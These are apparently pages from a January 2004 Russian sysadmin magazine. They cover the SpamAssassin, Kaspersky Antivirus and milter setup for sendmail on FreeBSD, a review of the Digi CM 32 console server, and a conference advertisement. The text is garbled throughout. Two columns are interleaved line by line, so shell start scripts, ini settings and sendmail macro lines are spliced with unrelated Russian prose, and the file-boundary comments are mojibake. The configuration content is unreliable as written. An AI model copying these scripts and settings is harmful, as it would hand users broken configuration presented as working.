chown filter:filter /var/spool/filter
auto_learn 1
ok_languages en ru de
ok_locales en ru de Как я уже говорил, мне удобнее, когда сообщения от
# rewrite subject
разных демонов пишутся в разные лог-файлы. Поэтому,
rewrite_subject 1 чтобы перенаправить сообщения от spamd в другой файл,
subject_tag *SPAM*_HITS_ points* : создадим пустой файл spamd.log:
required_hits 3.5
cd /var/log
# user rules cat >./spamd.log
allow_user_rules 0 chown filter:filter spamd.log
# report options
always_add_report 1 И скорректируем содержимое двух файлов syslog.conf
report_safe 0 и newsyslog.conf:
report_charset koi8-r

# score options # ========äîáàâêà â ôàéë syslog.conf======


score FROM_ILLEGAL_CHARS 1.5 local5.* /var/log/spamd.log
score HEAD_ILLEGAL_CHARS 1.5 # =========êîíåö ôàéëà syslog.conf========
score SUBJ_ILLEGAL_CHARS 1.5
score SUBJ_HAS_SPACES 2.5 # ======äîáàâêà â ôàéë newsyslog.conf=====
score NO_REAL_NAME 1.0 /var/log/spamd.log filter:filter 640 3 2000 * Z
score PENIS_ENLARGE 3.5 # =======êîíåö ôàéëà newsyslog.conf=======
score PENIS_ENLARGE2 3.5
score FROM_HAS_MIXED_NUMS 1.0
score FORGED_IMS_TAGS 0.5
# network whitelist Установка и настройка milter
whitelist_from localhost
whitelist_to spam@mycompany.ru
(spamass-milter) для почтового демона
# ==========êîíåö ôàéëà local.cf========= (/usr/ports/mail/spamass-milter)
Собственно сам демон, разбирающий почту по косточ-
Файл /usr/local/etc/rc.d/spammerdaemon.sh. Собствен- кам, готов. Перейдем к настройкам milter, который будет
но скрипт, запускающий сам демон. Обратите внимание передавать письмо от sendmail к spamd. При установке
на два параметра. Первый -u filter означает, что демон spamass-milter файл, объясняющий процедуру активиза-
запускается от некоего виртуального пользователя, име- ции фильтра, лежит здесь: /usr/local/share/doc/spamass-
ющего ограниченные права. Про самого пользователя milter/activation.txt. Из всего этого я вынес для себя толь-
чуть ниже. Второй параметр -s local5. Это вывод сообще- ко одну полезную строчку:
ний в другой файл-лог. Изначально демон spamd все пи-
шет в maillog. Мне это не понравилось, я вывел сообще- INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/ ↵
spamass-milter.sock, F=, T=C:15m;S:4m;R:4m;E:10m')
ния от него в другой файл. Так удобнее анализировать. В
принципе я бы вообще его отключил, да вот в документа- Её надо будет добавить в ваш конфигурационный файл
ции не нашел как. Sendmail. Ну и собственно скрипт для запуска milter-фильт-
ра. Там ничего сложного нет. Единственное изменение, ко-
# =========íà÷àëî ôàéëà spammerdaemon.sh== торое я сделал, – добавил в скрипт адрес, на который будет
#!/bin/sh
case "$1" in пересылаться почта, идентифицированная как «СПАМ».
start)
kill `ps ax | grep spamd | grep -v grep | awk '{print $1}' | ↵
head -1` >/dev/null 2>/dev/null && echo -n ' spamd' /usr/local/etc/rc.d/spamass-milter.sh
[ -x /usr/local/bin/spamd ] && /usr/local/bin/spamd -d -a ↵ # =======íà÷àëî ôàéëà spamass-milter.sh===
-u filter -x -s local5 && echo -n ' spamd' #!/bin/sh
;;
stop) DAEMON=/usr/local/sbin/spamass-milter
kill `ps ax | grep spamd | grep -v grep | awk '{print $1}' | ↵ SOCKET=/var/run/spamass-milter.sock
head -1` >/dev/null 2>/dev/null && echo -n ' spamd' PIDFILE=/var/run/spamass-milter.pid
;; SPAMADRESS=spam@mycompany.ru
*)
case "$1" in
echo "Usage: `basename $0` {start|stop}" >&2
;; start)
if [ -f "${DAEMON}" -a -x "${DAEMON}" ]

70
администрирование
then Warnings=Yes
"${DAEMON}" -b "${SPAMADRESS}" -p "${SOCKET}" -f & CodeAnalyser=Yes
echo $! > "${PIDFILE}" RedundantScan=No
sleep 1 SubDirectories=Yes
kill -HUP `head -1 /var/run/sendmail.pid` CrossFs=Yes
echo -n ' spamass-milter running'
fi # global(common) options sections
;; [Options]
stop) ScanRemovable=Yes
if [ -f "${PIDFILE}" ] ScanSubDirAtEnd=No
then ParallelScan=No
read -r pid junk < "${PIDFILE}" LimitForProcess=16
kill ${pid} EndlesslyScan=No
rm -f "${SOCKET}" "${PIDFILE}" ScanDelay=-1
sleep 1 Symlinks=1
kill -HUP `head -1 /var/run/sendmail.pid` [Report]
echo -n ' spamass-milter stopped' Report=Yes
fi UseSysLog=No
;; ReportFileName=/var/log/kav/kavscan.rpt
esac Append=Yes
# ========êîíåö ôàéëà spamass-milter.sh=== ReportFileLimit=Yes
ReportFileSize=500
RepCreateFlag=600
ExtReport=No
Установка и настройка Kaspersky Antivirus WriteTime=Yes
С настройками фильтров, определяющих наличие спама в WriteExtInfo=No
UseCR=No
сообщениях, покончено. Перейдем к установке Kaspersky RepForEachDisk=No
Antivirus и milter для Sendmail. Соответственно качаем: LongStrings=Yes
UserReport=No
 kav-MailServer-4.0.4.0-FreeBSD-4.x.tgz UserReportName=/var/log/kav/userreport.log
 tar xzvf kav-MailServer-4.0.4.0-FreeBSD-4.x.tgz # Showing objects
ShowOK=No
 pkg_add kav-WorkStationSuite-4.0.4.0-FreeBSD-4.x.tgz ShowPack=No
ShowPassworded=No
ShowSuspision=No
Из всего, что поставится в каталог /usr/local/share/AVP, ShowWarning=No
интересны только эти файлы: ShowCorrupted=No
ShowUnknown=No
 kavdaemon
 kavscanner # Action with infected files
[ActionWithInfected]
 defUnix.prf InfectedCopy=No
 AvpUnix.ini # Action with suspicion files
[ActionWithSuspicion]
Содержание конфигурационных файлов: SuspiciousCopy=No

# Action with corrupted files


# =======íà÷àëî ôàéëà AvpUnix.ini========= [ActionWithCorrupted]
[AVP32] CorruptedCopy=No
DefaultProfile=/usr/local/share/AVP/defUnix.prf
[TempFiles]
[Configuration] UseMemoryFiles=Yes
KeysPath=/usr/local/share/AVP LimitForMemFiles=6000
SetFile=avp.set MemFilesMaxSize=20000
BasePath=/usr/local/share/AVP/Bases TempPath=/tmp
SearchInSubDir=No
UpdatePath=http://downloads2.kaspersky-labs.com/updates/ [Priority]
# ========êîíåö ôàéëà AvpUnix.ini========= Father=0
Child=0
В следующем файле многие параметры настройки [Customize]
опущены, поскольку не имеют принципиального значения: Sound=No
UpdateCheck=No
UpdateInterval=90
# =======íà÷àëî ôàéëà defUnix.ini========= OtherMessages=No
# same section with parameters for objects RedundantMessage=No
[Object] DeleteAllMessage=No
Names=*/home;*/tmp;*/var/tmp;/usr/src;/mnt/cdrom;/usr/tmp;/tmp/kav ExitOnBadBases=Yes
Memory=No UseExtendedExitCode=Yes
Sectors=No # ========êîíåö ôàéëà defUnix.ini=========
ScanAllSectors=No
Files=Yes
FileMask=2 Здесь я кое-что изменил. Во-первых, при установке
UserMask=*.tar.gz Kaspersky Antivirus он пытается свои конфигурационные
ExcludeFiles=0
ExcludeMask=*.txt *.cmd файлы поместить в /etc/Avp. Мне это не понравилось, я вы-
ExcludeDir= кинул оттуда все и поместил в домашний каталог Kaspersky
Packed=Yes
Archives=Yes Antivirus: /usr/local/share/AVP. Далее создал два каталога,
SelfExtArchives=Yes где будут храниться лог-файлы и временные файлы для
MailBases=Yes
MailPlain=Yes проверки на вирусы.
Embedded=Yes
InfectedAction=3
mkdir /var/log/kav
BackupInfected=No
IfDisinfImpossible=1 mkdir /tmp/kav

№1(14), январь 2004 71


администрирование
Установка и настройка milter (kavmilter) [ -f $AVPDIR/AvpPid ] && $BINDIR/kavdaemon ↵
для почтового демона -ka > /dev/null && $BINDIR/kavdaemon $DPARMS > ↵
dev/null && echo 'kavdaemon restarted'
(/usr/ports/mail/kavmilter) ;;
Процедура все та же: make & make install. *)
echo "Usage: `basename $0` {start|stop|restart}" >&2
При установке kavmilter создаются три файла, один ;;
файл запуска самого kavmilter, второй файл запуска де- esac
мона kavdaemon, третий конфигурационный. Там много exit 0
изменений, потому просто содержимое файлов: # ========êîíåö ôàéëà kavdaemon.sh==========

/usr/local/etc/kavmilter.conf
# =======íà÷àëî ôàéëà kavmilter.conf========
SendmailPipe = /var/run/kavmilter Настройка самого почтового демона
KAVPipe = /var/run/AvpCtl Настройка sendmail для фильтрации почты от спама, ви-
PIDFile = /var/run/kavmilter.pid
TempDirectory = /tmp/kav русов и прочее. Переходим в каталог с конфигурацион-
KAVTimeout = 60 ными файлами sendmail:
SendmailTimeout = 300
DebugLevel = 0
DaemonMode = yes cd /usr/ports/mail/sendmail/work/sendmail-8.12.10/cf/cf
InfectedAction = discard
# ========êîíåö ôàéëà kavmilter.conf========
Создаем файл main.mc следующего содержания:
# =======íà÷àëî ôàéëà kavmilter.sh==========
#!/bin/sh
PREFIX=/usr/local/libexec # =======íà÷àëî ôàéëà main.mc===============
PIPE=/var/run/kavmilter divert(-1)
KAVPIPE=/var/run/AvpCtl divert(0)
PIDFILE=/var/run/kavmilter.pid include(`../m4/cf.m4')
TEMPDIR=/tmp/kav VERSIONID(`$FreeBSD: src/etc/sendmail/freebsd.mc, ↵
DPARMS="-D 0" v 1.10.2.11 2001/07/14 18:07:27 gshapiro Exp $')
OSTYPE(freebsd5)
case "$1" in DOMAIN(generic)
start)
rm -f ${PIPE} > /dev/null && ↵ FEATURE(`no_default_msa')
${PREFIX}/kavmilter ${DPARMS} > /dev/null && ↵ DAEMON_OPTIONS(`Port=smtp, Name=MTA')
echo -n ' kavmilter'
;; FEATURE(access_db, `hash -o -T<TMPF> /etc/mail/access')
FEATURE(blacklist_recipients)
stop) FEATURE(local_lmtp)
killall -TERM kavmilter > /dev/null && rm -f ${PIPE} && ↵ FEATURE(mailertable, `hash -o /etc/mail/mailertable')
rm -f ${PIDFILE} && echo "kavmilter stopped" FEATURE(relay_based_on_MX)
;; FEATURE(virtusertable, `hash -o /etc/mail/virtusertable')
restart) dnl Realtime Blocking List - AntiSpam Control
killall -TERM kavmilter > /dev/null && rm -f ${PIPE} && ↵ dnl FEATURE(dnsbl)
rm -f ${PIDFILE} && sleep 5 && ↵ dnl FEATURE(dnsbl, `relays.osirusoft.com', ↵
${PREFIX}/kavmilter ${DPARMS} > /dev/null && ↵ `Mail rejected - see http://relays.osirusoft.com/')
echo "kavmilter restarted" FEATURE(dnsbl,`relays.ordb.org',`Mail rejected - ↵
;; see http://ordb.org/')
*) FEATURE(dnsbl,`blackholes.easynet.nl',`Mail rejected - ↵
echo "Usage: `basename $0` {start|stop|restart}" >&2 see http://blackholes.easynet.nl/')
;; dnl FEATURE(dnsbl,`inputs.orbz.org', `Mail rejected - ↵
esac see http://orbz.org/')
dnl FEATURE(dnsbl,`relays.visi.com', `Mail rejected - ↵
exit 0 see http://relays.visi.com/')
# ========êîíåö ôàéëà kavmilter.sh========== dnl FEATURE(dnsbl, `ex.dnsbl.org', `Mail rejected - ↵
see http://www.dnsbl.org/')
При установке Kaspersky Antivirus в /usr/local/etc/rc.d/ dnl FEATURE(dnsbl,`blackholes.mail-abuse.org', ↵
`Mail rejected - see http://mail-abuse.org/')
создается файл kavd.sh. Я его удалил, вместо него сле- dnl FEATURE(dnsbl,`relays.mail-abuse.org',`Mail rejected - ↵
дует использовать другой, что ставится вместе с kavmilter. see http://work-rss.mail-abuse.org/')
dnl FEATURE(dnsbl,`dialups.mail-abuse.org', ↵
Некоторые строки мною изменены, потому просто содер- `Mail rejected; see http://mail-abuse.org/dul/enduser.htm')
жимое файла /usr/local/etc/rc.d/kavdaemon.sh: dnl Russian DialUp Blocking List
FEATURE(`dnsbl',`dul.ru',`Mail rejected - your are spammer')

# =======íà÷àëî ôàéëà kavdaemon.sh========== dnl Uncomment the first line to change the location of the default
#!/bin/sh dnl /etc/mail/local-host-names and comment out the second line.
PREFIX="/usr/local/share/AVP" dnl define(`confCW_FILE', `-o /etc/mail/sendmail.cw')
BINDIR="/usr/local/share/AVP" define(`confCW_FILE', `-o /etc/mail/local-host-names')
AVPDIR="/tmp/kav"
AVPPIPE="/var/run" define(`confMAX_MIME_HEADER_LENGTH', `256/128')
DPARMS="-Y -f=$AVPPIPE -MP -dl -MD -I0 -o{$AVPDIR} $AVPDIR" define(`confMAX_MESSAGE_SIZE', 5000000)
define(`confNO_RCPT_ACTION', `add-to-undisclosed')
case "$1" in define(`confPRIVACY_FLAGS',
start)
$BINDIR/kavdaemon $DPARMS && echo -n ' kavdaemon' `authwarnings,noexpn,novrfy,noetrn,nobodyreturn,goaway, ↵
;; restrictmailq,restrictqrun')
stop) define(`confSMTP_LOGIN_MSG',`Antispam-MTA; ↵
[ -f $AVPDIR/AvpPid ] && $BINDIR/kavdaemon ↵ "Non-authorized relaying DENIED." $b')
-ka > /dev/null && echo "kavdaemon terminated" define(`confMAX_RCPTS_PER_MESSAGE', `5')
;;
INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/ ↵
restart) spamass-milter.sock, F=, T=C:15m;S:4m;R:4m;E:10m')

72
администрирование
INPUT_MAIL_FILTER(`kavmilter',`S=unix:/var/run/kavmilter,F=T') спам-писем и для нормальных писем, пишем небольшой
define(`confMILTER_LOG_LEVEL',`6') скрипт и обучаем систему.
MAILER(local)
MAILER(smtp) cd /home/user
# ========êîíåö ôàéëà main.mc=============== mkdir spamd spamd/ham spamd/spam
cd spamd
Полагаю, что вы немного знакомы с настройкой sendmail, vi spamd-training.sh
====íà÷àëî ôàéëà spamd-training.sh====
поэтому не буду объяснять все позиции. Поясню лишь три: #!/bin/sh
sa-learn --ham /home/gennadiy/Spamd/ham/
sa-learn --spam /home/gennadiy/Spamd/spam/
INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/↵ =====êîíåö ôàéëà spamd-training.sh====
spamass-milter.sock, F=, T=C:15m;S:4m;R:4m;E:10m') chmod +x spamd-training.sh
Эта строчка говорит, что при получении письма почто-
виком письмо передаётся фильтру spamassassin для про- В каталог spamd/ham пишем нормальные письма, в
верки на спам. В результате обработки письму присваи- каталог spamd/spam пишем спам. Запускаем скрипт:
вается некий рейтинг.
./spamd-training.sh
INPUT_MAIL_FILTER(`kavmilter',`S=unix:/var/run/kavmilter,F=T')
Всё. Статистику по обработке почты можно посмот-
Эта строчка говорит о том, что после обработки письма реть командой:
на потенциальный спам письмо попадает к Kaspersky Antivirus,
а тот уже делает вывод, содержит ли письмо вирус или нет. sa-learn --dump magic

define(`confMILTER_LOG_LEVEL',`6')
Последние штрихи, ссылки
Ну и эта строка лишь уменьшает количество выводи- и благодарности
мой информации в логи, что удобно после отладки. Мне Ну и несколько последних штрихов. На самом деле вы
нужны только строки о поступлении и пересылке письма. можете этот шаг пропустить или сделать так, как вам удоб-
Для «разбора полёта» письма их вполне достаточно. нее. Я для собственного успокоения создал каталог /usr/
Собираем конфигурационный файл sendmail: local/etc/script. Переместил туда всё необходимые мне
стартовые скрипты kavdaemon.sh, spammerdaemon.sh,
m4 main.mc>sendmail.cf kavmilter.sh, spamass-milter.sh. В каталоге /usr/local/etc/rc.d
создал исполняемый скрипт следующего содержания:
Его надо перезаписать поверх старого файла /etc/mail/
sendmail.cf. # =======íà÷àëî ôàéëà start.sh===============
#!/bin/sh
# my start script
Обучение системы # kavdaemon - antiviral tolkien pro
Итак, после всех этих процедур ваша система готова к ра- /usr/local/etc/script/kavdaemon.sh start
боте. С начальными настройками она способна фильтро-
# starting mail filter daemon
вать до 60-70% лишней почты. Для увеличения этой циф- /usr/local/etc/script/spammerdaemon.sh start
ры вам необходимо «обучить» систему. По большому сче- /usr/local/etc/script/kavmilter.sh start
/usr/local/etc/script/spamass-milter.sh start
ту в процессе работы система сама обучается. То есть чем # ========êîíåö ôàéëà start.sh===============
больше писем она обрабатывает, тем меньше вероятность
ошибки и больше процент фильтрации писем. Для ручного Вот вроде бы и всё. Буду благодарен за любые заме-
обучения (помощи системе) вам необходимо собрать от 200 чания на адрес: stranger03@mail.ru
спам-писем и нормальных писем. Передать их системе и Огромное спасибо: Андрееву Павлу, системному ад-
обработать. Письма можно получить обычным экспортом министратору Novavox, и Тараненко Сергею, системному
из почтового клиента. Вид писем стандартный (.eml), вы- администратору Trinity, за неоценимую помощь в созда-
резать из них ничего не надо. К примеру: нии данной системы.

=====íà÷àëî ôàéëà=====
Return-Path: narayan@epfl.ch
Ссылки на документы:
Received: from flashmail.com ([200.75.94.146]) 1. О самом cvsup можете прочитать здесь:
by ns.mycompany.ru (8.12.10/8.12.10) with SMTP ↵ http://www.freebsd.org.ru/how-to/cvsup/
id hB38USe7096329
for <lan@mycompany.ru>; Wed, 3 Dec 2003 11:30:44 ↵ 2. О настройках демона spamd можете прочитать здесь:
+0300 (MSK) http://www.spamassassin.org/doc/Mail_Spam-
(envelope-from narayan@epfl.ch)
Date: Wed, 03 Dec 2003 06:35:56 +0000 Assassin_Conf.html
From: narayan@epfl.ch 3. О тестовых параметрах, по которым можно подстраи-
Subject: =?Windows-1251?B?yvLuIOHz5OXyIOz98O7sPyE=?=
To: Lan lan@mycompany.ru вать систему под ваши требования, можно прочитать
………… здесь: http://spamassassin.org/tests.html
======êîíåö ôàéëà=====
4. О настройках Sendmail можете прочитать здесь:
Итак, в домашнем каталоге создаем два каталога для http://unix1.jinr.ru/~lavr/webmail/sendmail_common.mc

№1(14), январь 2004 73


администрирование

БЕЗОПАСНЫЙ УДАЛЁННЫЙ ДОСТУП


К КОНСОЛЯМ ОБОРУДОВАНИЯ

ДМИТРИЙ РЖАВИН
РАФАЭЛЬ ШАРАФAУТДИНОВ

74
администрирование
История вопроса симально быстро ликвидировать аварийные ситуации.
Для подавляющего большинства системных администра- При этом хотелось бы узнавать о сбоях не от разгневан-
торов режим консольного доступа в общем-то рутинный, ного начальства или пользователей и иметь возможность
но в то же время универсальный и надежный инструмент восстановления истории инцидента для дальнейшего
как для первичного конфигурирования активного обору- анализа и диагностики.
дования, так и для решения аварийных проблем. Поэто- Но это только часть критериев для поиска подходя-
му агитировать кого-то особого смысла не имеет, но со- щего решения. При более широкой постановке вопроса,
вершить небольшой экскурс в пользу подрастающего по- хотелось бы иметь устройство, которое, во-первых, мог-
коления все же стоит. ло бы обеспечить безопасность доступа к консолям. И
Последовательные консоли были и остаются атрибу- при этом служило бы единственной точкой доступа к мно-
тами Intel- и RISC-серверов, коммутаторов, маршрути- жеству устройств и делало такой доступ глобальным. Во-
заторов, устройств VPN, офисных АТС и источников бес- вторых, имело бы высокую плотность портов и не зани-
перебойного питания. Секрет консольного доступа зак- мало много места в монтажном шкафу при относитель-
лючается в его простоте, широком распространении и но низкой цене. В-третьих, устройство должно выдавать
универсальности. Можно возразить, что необходимость SNMP-трапы о системных событиях. В-четвертых, удоб-
встроенной консоли становится со временем менее ак- ным, надежным и простым в управлении. Ну и, конечно
туальной, и производители встраивают в свои продукты же, все определяет цена решения.
графические интерфейсы администрирования, доступ- Как известно, всегда хочется иметь нечто такое, что
ные в любой точке сети через стандартный веб-браузер. идеально подходило бы для конкретной задачи, а не то,
Да, так оно и есть, но рекламируя средства визуализа- что в принципе может решить проблему. Распростра-
ции, производители часто умалчивают о том, что не все ненным решением является использование маршрути-
функции доступны в этом режиме. Что же мешает им в заторов Cisco 25хх серии, которые в целом неплохо
этом благородном деле? справляются с задачами терминального доступа. Но это
Ответ в общем-то прост. Наделяя свои устройства из- устаревшее оборудование с максимальной плотностью
быточными с точки зрения их основного назначения 16 асинхронных портов на 1U, которое по сообщениям
средствами визуализации, производителям приходится производителя уже давно должно быть снято с произ-
увеличивать размеры микроядра, управляющего ПО. Это водства. Устройства 26 серии позволяют достичь нуж-
в свою очередь снижает надежность этого самого ПО, и ной плотности портов, но дешевым это решение уже
чем больше оно поддерживает графических возможно- назвать трудно.
стей, тем больше объем кода и тем больше вероятность Очень быстро удалось выяснить, что на текущий мо-
сбоя. Даром ничего не дается. Достаточно вспомнить мент несколько производителей предлагают специали-
пример перехода со старой доброй ОС MS DOS на зированные устройства для удаленного терминально-
Windows 2.0 или 3.1 и какую дань нам приходится пла- го и консольного доступа с высокой плотностью пор-
тить до сегодняшнего дня за удобства графического ин- тов. На первый взгляд они обладали сходными техни-
терфейса Microsoft Windows. Кроме того, увеличение ПО ческими характеристиками и теоретически должны
и его функциональности снижает общую производитель- были справиться с поставленной задачей. Поэтому по-
ность устройств, что вынуждает использовать более ступившее в начале 2003 года предложение одного из
мощные процессоры и увеличивать объем оперативной российских дистрибуторов компании Digi Int. протести-
и флэш-памяти. В конечном итоге все это приводит к ровать ее продукцию оказалось как нельзя кстати.
увеличению стоимости устройств, что не может устро- После тестирования нескольких устройств выбор пал
ить ни потребителей, ни поставщиков в условиях всеоб- на консольный сервер PortServer CM 32, который в ходе
щей ценовой конкуренции. экспресс-тестирования удовлетворил большую часть
Поэтому сегодня мы имеем дело с компромиссными наших требований и ожиданий. Спустя три месяца было
решениями, когда наиболее часто используемые и про- решено приобрести один сервер и приступить к его пол-
стые функции становятся доступны в виде графическо- номасштабным испытаниям в условиях, максимально
го интерфейса, а по-настоящему полноценный тюнинг приближенных к боевым.
по-прежнему доступен с управляющей консоли. Не надо
также забывать, что некоторые брандмауэры конфигу- История внедрения
рируются исключительно с консольного порта, а ввод c При покупке нас ожидал настоящий сюрприз: поставщик
консоли команды сброса всех текущих установок зачас- прекратил производство так понравившегося нам кон-
тую является единственной возможностью вернуть к сольного сервера, а вместо него предлагалась новая мо-
жизни «зависшее» устройство. дель – Digi CM 32 (с 32 серийными портами) и по более
привлекательной цене. Внешний дизайн устройства не
История выбора претерпел значительных изменений, зато на передней
Рано или поздно критическая масса администрируемо- панели появился слот для установки карт формата
го оборудования превышает всякий порог нормального PCMCIA. В перечень поддерживаемых карт входили
существования администратора, что заставляет поду- флэш-карты, карты беспроводного доступа, модемы и
мать не только о себе любимом и дорогом. Возникает сетевые карты. Эта опция показалась нам весьма полез-
проблема, как упростить каждодневные операции и мак- ной, поскольку позволяла создавать дополнительное со-

№1(14), январь 2004 75


администрирование
единение при построении резервной сети управления.
Кроме того, теперь имелся выбор из 8, 16, 32 и 48 порто-
вых моделей.
Текущей задачей была организация небольшой се-
тевой лаборатории. Как известно, людям свойственно
ошибаться, и они пользуются этим свойством часто и с
удовольствием. Причем это относится не только к пользо-
вателям, но и к многочисленным разработчикам, особен-
но ПО. Впрочем, все, кто проводил хоть сколько-нибудь
сложные тесты оборудования, прекрасно понимают не-
обходимость консольного доступа к устройствам.
Собственно, при проведении тестирования у вас есть
несколько вариантов: можно притащить большой и шу-
мящий сервер или маршрутизатор на свой рабочий
стол. Если вас не побьют коллеги. Также можно несколь-
ко раз в день брать ноутбук и идти в серверную комна-
ту. Можно поставить консольный концентратор и под-
ключить все консоли лаборатории к нему. Мы выбрали
последний вариант.
Итак, создание тестовой зоны мы решили начать с
установки консольного концентратора, пары серверов,
коммутатора и маршрутизатора, обеспечивающего под-
ключение всего этого хозяйства к корпоративной сети. Все
консольные кабели были подключены к консольному сер-
веру Digi CM, кроме консоли самого Digi, которая была
подключена к консольному концентратору технологичес-
кой площадки – Cisco 26xx. Проблем с подключением не
возникло, в сопроводительной документации есть схемы
всех необходимых разводок. Для подключения консолей
всех устройств использовалась стандартная кабельная
разводка – обычные патч-корды 5-й категории и переход-
ники-конструкторы RJ-45 – DB-9/DB-25, которые очень
рекомендую. Переходники надо заказывать отдельно бан-
длами по 8 штук, но они перекрывают практически все
варианты консолей DB-9, DB-25, male и female.
Начальная конфигурация Digi осуществлялась через
консоль. После конфигурации сетевого интерфейса мы
перешли на веб-интерфейс, поскольку поддерживается и
HTTP, и HTTPS. Меню простые и достаточно удобные, так
что, если тонкая настройка не требуется, использовать
CLI для управления концентратором не обязательно. Во-
обще поставляемое с Digi ПО удовлетворяет большинству
стандартных запросов, так что лезть в устройство Shell
может потребоваться только в специфичных случаях.
Поэтому вам не придется изучать систему команд еще
одного устройства только для того, чтобы добраться до
консольных портов своего оборудования. Для любителей
покрутить труднодоступные ручки намекну, что внутри
живет сильно обрезанный Linux (Hard Hat Distribution).
Начальная настройка устройства тоже не заняла мно-
го времени. Поменяли пароли предопределенных пользо-
вателей, выбрали настройки доступа к консолям: кроме
параметров порта, можно выбрать протокол доступа к
концентратору – мы выбрали SSH, включить port logging
и даже настроить Digi на анализ сообщений с консоли
устройства, установить фильтры доступа к консоли по IP-
адресу и имени пользователя и много чего еще. Затем К быстро обнаруженным неприятным особенностям
выделили порт и IP-адрес для каждой консоли и добави- можно отнести очень большое время установки SSH-
ли нескольких новых пользователей. соединения (хотя после соединения сессия не тормо-

76
администрирование
зит), а также требование выделять для обращения к К числу недостатков, обнаруженных позднее, мож-
каждому консольному порту уникальный IP-адрес. Хотя но отнести отсутствие опции timezone, без которой ис-
для подсоединения к консоли можно было использовать пользование NTP выглядело проблематично из-за пе-
и основной IP-адрес устройства. Также показалось не- рехода на зимнее/летнее время. Также к явным багам
удобным ограничение на длину имени пользователя – можно отнести наличие права у пользователей группы
не менее пяти знаков. С настройкой остальных пара- Port Admin на перезагрузку устройства. Более того, в
метров пользователя все оказалось просто здорово: процессе эксплуатации была обнаружена несколько за-
предусмотрены 4 предопределенных группы пользова- бавная ситуация: через некоторое время устройство
телей – User, Port Admin, System Admin, Root и 4 вари- поднимало на 80-м порту вместо веб-сервера сервер
анта их доступа к устройству – Web Interface, Port Access SSH. Вообще перечень замечаний оказался достаточ-
Menu, Direct Port Access, Custom Menu. Доступ к на- но длинным: невозможность установить на порту ACL с
стройке параметров Digi CM, также возможен тремя netmask менее чем на 256 адресов, нестабильное со-
путями: через Web Interface Configuration menu и интер- единение с консолью сервера через меню и т. д. В ко-
фейс командной строки – CLI. нечном итоге список возникших у нас вопросов и по-
Надо заметить, что только Root User может исполь- желаний был отправлен в службу технической поддер-
зовать CLI для полного доступа к встроенной операци- жки Digi Int. Через некоторое время был получен ответ,
онной системе Linux Hard Hat. System Admin может ис- что они учтут наши пожелания в следующих версиях. А
пользовать CLI только для чтения, но не ввода команд. еще через некоторое время вышла новая версия про-
Port Admin, System Admin и Root могут производить на- шивки для Digi CM, в которой наиболее неприятные про-
стройку параметров консолей, как в Web Interface, так и блемы уже отсутствовали.
в Configuration menu. Группа User не имеют никаких воз- После установки новой версии устройство стало ра-
можностей вносить изменения в действующие настрой- ботать стабильно, были поправлены некоторые непри-
ки. В дополнение к авторизации с помощью паролей (под- ятные особенности, например, выделение IP-адреса для
держиваются локальная авторизация либо сетевая: доступа к порту стало опциональным, минимальная дли-
TACACS+, RADIUS, LDAP, Kerberos) можно настроить на имени пользователя была сокращена до 3 знаков, кро-
авторизацию по public key: ме того, появилось множество удобных нововведений.
Дальнейшие эксперименты проводились с новой
версией ПО. Теперь веб-интерфейс не предусматрива-
ет возможности установки ACL для доступа только из
одной сети. В одном из писем службы поддержки сооб-
щалось, что Digi Int. не считает необходимой реализа-
цию возможностей создания ACL из нескольких строк
в веб-интерфейсе. Вместо этого они рекомендовали
настроить ACL из CLI, используя обычный синтаксис ipf,
на базе которого, собственно, все и построено.

При этом авторизацию на доступ к портам и к Port menu


можно настроить независимо от авторизации на доступ к
устройству:

Как уже было отмечено выше, на время тестирования


было принято принципиальное решение не использовать
CLI, чтобы установить, чего можно добиться, не проводя
специального обучения сотрудников. А поскольку рабо-
чие станции специалистов и администраторов серверной
зоны находятся в разных сетях, было решено разделить
доступ по управлению устройством по портам: специали-
сты настраивают Digi СМ через веб-интерфейс, а адми-
нистраторы серверной зоны заносят данные по подклю-
ченному оборудованию через консольное меню.

№1(14), январь 2004 77


администрирование
Как уже говорилось, каждый порт имеет собствен- стоящему моменту почти все серийные порты сервера
ный ACL, поэтому доступ к ним остается возможным были задействованы.
для пользователей других сетей. Обращаться можно на- В заключение хочется дать один совет: по возможнос-
прямую на IP-адрес и порт, назначенный данной консо- ти при установке обеспечивайте доступность консольно-
ли, или через меню. го сервера несколькими путями. При эксплуатации Digi
CM 32 как-то раз перегрузился маршрутизатор, обеспе-
чивающий IP-доступ к лаборатории. Локальная сеть ла-
боратории была multihome, что позволило нам через дру-
гое устройство попасть на Digi CM, и в конечном итоге на
консоль перезагрузившегося маршрутизатора. О причи-
нах перезагрузки поведал все тот же Digi, точнее, его port
log, который хранится в буферной памяти каждого серий-
ного порта:

Совсем короткая история


Во время подготовки статьи была выпущена новая про-
шивка – версия 1.3. В ней появилось много интересных
возможностей и были исправлены ошибки предыдущих
версий. Надо сказать, что с этой версией эксперименты
не проводились, поскольку целью тестирования были опи-
санные выше вполне определенные задачи, а не провер-
ка всех заявленных производителем возможностей. В
целом нам удалось достичь поставленной цели, и к на-

78
ПРАКТИЧЕСКАЯ КОНФЕРЕНЦИЯ

ОБЕСПЕЧЕНИЕ ИНФОРМАЦИОННОЙ
БЕЗОПАСНОСТИ ПРИ ВЗАИМОДЕЙСТВИИ ГРАЖДАН,
БИЗНЕСА И ОРГАНОВ ГОСУДАРСТВЕННОЙ ВЛАСТИ
С ИСПОЛЬЗОВАНИЕМ СРЕДСТВ ИНФОКОММУНИКАЦИЙ
10-11 марта 2004 года г. Москва, отель «Аэростар»

Конференция проводится общественно-государствен-  системы предупреждения и оповещения,


ным объединением «Ассоциация документальной элект-  совместимость средств обеспечения информационной
росвязи» при поддержке Минсвязи России, аппарата Со- безопасности,
вета безопасности Российской Федерации, Гостехкомис-  использование общих критериев как инструмента
сии России, МВД России, ФСБ России. оценки уровня обеспечения информационной безопас-
Перед участниками конференции выступят с докла- ности,
дами и ответят на вопросы представители государствен-  противодействие распространению вредоносных про-
ных органов исполнительной и законодательной влас- грамм и спама,
ти, представители науки, бизнеса, страховых, юридичес-  инфраструктура идентификации на базе удостоверя-
ких и консалтинговых компаний, разработчики и систем- ющих центров,
ные интеграторы.  минимизация рисков и страхование ответственности,
На экспозиции будут представлены современные ре-  международное сотрудничество в сфере обеспечения
шения организаций – членов АДЭ по обеспечению инфор- информационной безопасности.
мационной безопасности.
Основные темы практической конференции: Программа конференции ориентирована на руководи-
 деятельность органов государственной власти по обес- телей организаций и специалистов в области обеспече-
печению информационной безопасности, ния информационной безопасности.
